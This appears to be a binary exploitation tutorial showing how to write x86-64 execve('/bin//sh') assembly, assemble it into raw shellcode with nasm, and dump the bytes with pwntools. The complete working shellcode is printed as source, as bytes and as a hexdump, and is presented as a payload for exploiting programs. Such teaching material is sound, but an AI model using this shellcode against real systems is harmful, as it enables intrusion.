We're going to use vim to write our code
[ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm]
→ vim 7.asm
section .text
global _start
_start:
xor esi, esi
xor edx, edx
push 0x3b
pop rax
mov rbx, 0x68732f2f6e69622f
push rsi
push rbx
mov rdi, rsp
syscall
Now let's check out what is new in the above code:
_start:
xor esi, esi
xor edx, edx
using xor on the same register has the property of being equivalent to mov esi, 0 but being shorter (only 2 bytes) the processor recognizes the special case and treats it as a mov esi, 0 so the execution time is the same. so we clear out the esi and edx registers,
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
Next we push the value 0x3b (59) onto the stack, and then pop the value out into rax, The equivalent is mov rax, 59 However this results in a shorter shellcode as we're going to see later on. Now since we have our execve() syscall, we want to give it an arguement, we want it to spawn /bin/sh and we want it to be 8 bytes so we get the following: /bin//sh:
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ echo '/bin//sh' | xxd
00000000: 2f62 696e 2f2f 7368 0a /bin//sh.
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ echo 'hs//nib/' | xxd
00000000: 6873 2f2f 6e69 622f 0a hs//nib/.
So we get our following mov instruction:
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
Here we're going to use nasm to compile our assembly code and then ld to create the binary file:
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ nasm -f elf64 7.asm
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ ld 7.o -o 7
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ ./7
[ 192.168.100.1/24 ] [ /dev/pts/3 ] [/home/nothing/binexp/asm]
→ echo $0 ; exit
bash
exit
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
→ echo $0
/bin/zsh
And that's it! But if we wanted to create shellcode for binary exploitation, we would adjust the assembly code as follows:
[bits 64]
xor esi, esi ; xor out esi and edx
xor edx, edx
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
push rsi ; push the value of rsi
push rbx ; push the value of rbx
mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement)
syscall
And then we would compile it not with the elf64 flag, but this time we don't need a binary file, we want what's called shellcode to use in conjunction with python pwntools:
[ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
→ nasm -f bin 7.asm
[ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
→ cat 7
11j;XH/bin//shVSH%
Now let's view the hexdump of our shellcode inside of python pwntools:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [~/binexp/asm]
→ vim hexdump.py
from pwn import *
#read the shellcode file we compiled
with open('7', 'rb') as f:
shellcode = f.read()
print(shellcode)
Here basically we take our shellcode file (named 7) and we store its contents into the shellcode variable. Then we print it:
[ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
→ python3 hexdump.py
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
However this isn't all that accurate for us. Here you can see the non-ascii characters being represented as \x00 \x01 \x02 and such. So to get more information on the shellcode characters we should use the hexdump function that's built-in to pwntools:
from pwn import *
#read the shellcode file we compiled
with open('7', 'rb') as f:
shellcode = f.read()
print(hexdump(shellcode))
And we get the following result:
[ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
→ python3 hexdump.py
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│
00000018
And that's it! we have some payload ready to be used for binary exploitation purposes.